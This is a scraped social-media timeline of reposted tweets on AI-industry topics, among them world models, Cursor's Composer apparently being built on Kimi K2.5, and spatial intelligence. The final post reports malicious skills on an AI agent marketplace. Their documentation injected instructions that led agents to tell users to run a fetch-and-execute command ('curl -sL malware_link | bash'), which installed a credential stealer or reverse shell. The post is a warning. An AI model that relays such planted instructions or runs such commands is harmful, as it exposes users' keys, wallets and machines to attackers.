Van Ngo

AI/ML Product Manager | Human-Centered Data Science @UofT

[Pankaj @the2ndfloorguy]

i hooked my whoop to my work calendar to find which coworker gives me the most stress 🚨

thanks to fable, I reverse engineered whoop to pull per minute heart rate. nd matched spikes with cal events and attendees

I now have a leaderboard and I think about it daily.

few info masked for obvious reasons ;)

[Van Ngo @vanngo97]

@GoogleAIStudio Day 5 going strong 🥹

[Van Ngo @vanngo97]

@briannekimmel A social macro tracker I guess 😁

[Reid Wiseman @astro_reid]

There are no words.

[Aesthetics @aestheticspost_]

Colours of the sky

[🍂 @Lovandfear]

books are so cool because there are NO FUCKING ADS IN THEM

[Van Ngo @vanngo97]

@build_canada The 1st biosensor to capture multi-omic data from saliva and the molecular intelligence layer

[Natasha Malpani 👁 @natashamalpani]

world models are a sexy misnomer.

@ylecun , @nvidia , and @drfeifei
are all building world models. they are not building the same thing.

lecun is working on cognitive architecture: a system that builds causal models of reality and plans inside them. nvidia is building simulation infrastructure: physics-based environments that train, evaluate, and run physical AI systems at scale. fei-fei li is building spatial intelligence: systems that understand and reason about physical space. same term. three different bets. three different timelines.

bundling them into one category inflates the hype. it also hides where value actually accumulates.

the simulation moat is the most obvious. native physical interaction data was scarce. synthetic environments filled the gap. but as robotics companies accumulate real interaction data at scale, that scarcity could end. the world model framing was a data poverty artifact.

the spatial intelligence bet is the most grounded. fei-fei li is trying to give machines a persistent, accurate model of physical space: where things are, how they move, what they afford. narrow, reliable, deployable. the timeline is shorter.

the cognitive architecture bet is the longest. what lecun is actually building requires three components: a causal model of how the world works, a forward simulator that imagines possible futures, and a pruning mechanism. a prior over which futures are worth simulating at all. that third component does not exist in any current system. it is the difference between prediction and genuine planning.

three definitions. three timelines. three completely different implications for where value accumulates.

[Peter Yang @petergyang]

Silicon Valley is quietly running on Chinese open source AI models.

Here are the receipts:

→ Cursor confirmed last month that Composer 2 is built on Moonshot's Kimi K2.5

→ Cognition's SWE-1.6 model is likely post-trained on Zhipu's GLM

→ Shopify saved $5M a year by switching to Alibaba’s Qwen model. Airbnb CEO Brian Chesky has also said: "We rely a lot on Qwen. It's very good, fast, and cheap."

And now Zhipu dropped GLM-5.1, an open source model that performs almost as well as Opus on coding benchmarks.

📌 More on the Anthropic + OpenClaw drama and what I'm learning about AI on the ground in China in my new post: https://t.co/cm9jYIZS8y

[Van Ngo @vanngo97]

@sid_srk Sounds intriguing 🤔 would like to follow along to see what you're up to 👀

[Van Ngo @vanngo97]

@jnananaa Can't agree with this approach more!! More often than not, I just want simple apps that do one thing well and I'm happy to pay one-time fee. For lightweight multilingual LLMs, Cohere Labs have Tiny Aya which might work well for your case

[Erika Lee @erikalee]

"I'm at my limit"

emotional or claude?

[Van Ngo @vanngo97]

@kathytzhou So cool and cute 🥰

[Aakash Gupta @aakashgupta]

Cursor is raising at a $50 billion valuation on the claim that its “in-house models generate more code than almost any other LLMs in the world.” Less than 24 hours after launching Composer 2, a developer found the model ID in the API response: kimi-k2p5-rl-0317-s515-fast.

That’s Moonshot AI’s Kimi K2.5 with reinforcement learning appended. A developer named Fynn was testing Cursor’s OpenAI-compatible base URL when the identifier leaked through the response headers. Moonshot’s head of pretraining, Yulun Du, confirmed on X that the tokenizer is identical to Kimi’s and questioned Cursor’s license compliance. Two other Moonshot employees posted confirmations. All three posts have since been deleted.

This is the second time. When Cursor launched Composer 1 in October 2025, users across multiple countries reported the model spontaneously switching its inner monologue to Chinese mid-session. Kenneth Auchenberg, a partner at Alley Corp, posted a screenshot calling it a smoking gun. KR-Asia and 36Kr confirmed both Cursor and Windsurf were running fine-tuned Chinese open-weight models underneath. Cursor never disclosed what Composer 1 was built on. They shipped Composer 1.5 in February and moved on.

The pattern: take a Chinese open-weight model, run RL on coding tasks, ship it as a proprietary breakthrough, publish a cost-performance chart comparing yourself against Opus 4.6 and GPT-5.4 without disclosing that your base model was free, then raise another round.

That chart from the Composer 2 announcement deserves its own paragraph. Cursor plotted Composer 2 against frontier models on a price-vs-quality axis to argue they’d hit a superior tradeoff. What the chart doesn’t show is that Anthropic and OpenAI trained their models from scratch. Cursor took an open-weight model that Moonshot spent hundreds of millions developing, ran RL on top, and presented the output as evidence of in-house research. That’s margin arbitrage on someone else’s R&D dressed up as a benchmark slide.

The license makes this more than an attribution oversight. Kimi K2.5 ships under a Modified MIT License with one clause designed for exactly this scenario: if your product exceeds $20 million in monthly revenue, you must prominently display “Kimi K2.5” on the user interface. Cursor’s ARR crossed $2 billion in February. That’s roughly $167 million per month, 8x the threshold. The clause covers derivative works explicitly.

Cursor is valued at $29.3 billion and raising at $50 billion. Moonshot’s last reported valuation was $4.3 billion. The company worth 12x more took the smaller company’s model and shipped it as proprietary technology to justify a valuation built on the frontier lab narrative.

Three Composer releases in five months. Composer 1 caught speaking Chinese. Composer 2 caught with a Kimi model ID in the API. A P0 incident this year. And a benchmark chart that compares an RL fine-tune against models requiring billions in training compute without disclosing the base was free.

The question for investors in the $50 billion round: what exactly are you buying? A VS Code fork with strong distribution, or a frontier research lab? The model ID in the API answers that.

If Moonshot doesn’t enforce this license against a company generating $2 billion annually from a derivative of their model, the attribution clause becomes decoration for every future open-weight release. Every AI lab watching this is running the same math: why open-source your model if companies with better distribution can strip attribution, call it proprietary, and raise at 12x your valuation?

kimi-k2p5-rl-0317-s515-fast is the most expensive model ID leak in the history of AI licensing.

[💗 @ma1ybe]

Two thirds of Alzheimer’s patients are women. Not because women live longer, but because estrogen protects the brain. When it’s suddenly stripped away, the brain literally shrinks. Brain fog in your 40s isn’t “just stress.” It’s a red flag. But instead of addressing hormones, women are gaslight with antidepressants or told to meditate. Fast forward 20 years and she’s in a nursing home and can’t remember her own kids. This isn’t “normal aging.” It’s medical negligence. And despite most Alzheimer’s patients being women, much of the research is still done on male mice instead of female mice. That’s not science, that’s neglect.”

[Dustin @r0ck3t23]

Dr. Fei-Fei Li just called out the biggest blind spot in the entire AI industry.

We have been building half of human intelligence. And calling it the finish line.

Li: “If you look at human intelligence, it pretty much boils down to two buckets.”

The first bucket is language. Symbolic reasoning. Communication. The ability to think in words and abstractions.

That’s what every major AI lab has spent the last decade building.

The second bucket is the one the industry has almost entirely ignored.

Li: “We call that in AI spatial intelligence.”

How humans and animals perceive, navigate, and interact with the three-dimensional physical world. How we reach for objects. How we move through space. How we build and manipulate physical reality.

From painting masterpieces to constructing the pyramids, non-verbal spatial intelligence is what actually shapes the world.

Language describes reality. Spatial intelligence acts on it.

And the gap between those two things is the gap between a chatbot and a robot.

Li: “When this technology is ready, the robotic revolution is gonna start. We’re already seeing that trend.”

Every robot is a moving agent. Every moving agent requires spatial intelligence to function in the real world.

The humanoid robots being deployed in factories right now are hitting the ceiling of what language models alone can power.

Spatial intelligence is the unlock.

But Li didn’t stop at robotics.

Li: “From a geopolitics point of view, this is part of the technology that goes straight into weapons.”

Autonomous drone swarms. Battlefield navigation. Physical target acquisition without human oversight.

Every military application of AI that operates in the real world runs on spatial intelligence.

The nation that masters the transition from static text to dynamic three-dimensional perception doesn’t just win the software race.

It commands the physical battlefield.

The AI arms race just broke out of the data center.

It’s operating in three dimensions now.

[Cyrus Janssen @thecyrusjanssen]

An Iranian man left this comment on my YouTube channel. This is without a doubt the single best explanation of the reality facing Iranian people today👇

"As an Iranian, I can tell you the situation is no longer just political—it's existential. We are trapped between two collapsing structures: one internal, one external. On one hand, we face a deeply dysfunctional government, led by the Supreme Leader and the Islamic Republic’s unelected institutions.

Decades of economic mismanagement, suppression of dissent, and brutal ideological control have alienated multiple generations. No one believes in reform anymore—because every attempt has either been co-opted or crushed. But here's the paradox: We are also terrified of regime collapse—because we've watched the aftermath of Western intervention in countries like Iraq, Libya, Syria, and Afghanistan. Each was promised freedom; each descended into chaos, civil war, or foreign occupation.

So no, we don't trust the U.S. or Israel. Not because we support our regime—but because we know how imperial powers treat ‘liberated’ nations in the Middle East.

Freedom, in their language, often means vacuum, fire, and permanent instability. Right now, many Iranians live with three truths at once: The Islamic Republic is morally and politically bankrupt. The alternatives offered by foreign actors are not liberation—they’re collapse.

A bad government is survivable. No government is not. We are not silent because we agree. We are cautious because we’ve learned—too well—what happens when superpowers decide to "help." In a sentence: Iran is a nation held hostage by its own regime, but haunted by the fate of its neighbors. We are stuck in a house we hate, surrounded by fires we fear more."

[Van Ngo @vanngo97]

@r0ck3t23 We need the best of both worlds to construct true super intelligence

[chiefofautism @chiefofautism]

the #1 most downloaded skill on OpenClaw marketplace was MALWARE

it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server

1,184 malicious skills found, one attacker uploaded 677 packages ALONE

OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins

you install a skill, your AI agent gets new powers, this sounds great

the problem? ClawHub let ANYONE publish with just a 1 week old github account

attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL

but hidden in the https://t.co/akQxEk9lrb file were instructions that tricked the AI into telling you to run a command

> to enable this feature please run: curl -sL malware_link | bash

that one command installed Atomic Stealer on macOS

it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files

on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine

Cisco scanned the #1 ranked skill on ClawHub. it was called What Would Elon Do and had 9 security vulnerabilities, 2 CRITICAL. it silently exfiltrated data AND used prompt injection to bypass safety guidelines, downloaded THOUSANDS of times. the ranking was gamed to reach #1

this is npm supply chain attacks all over again except the package can THINK and has root access to your life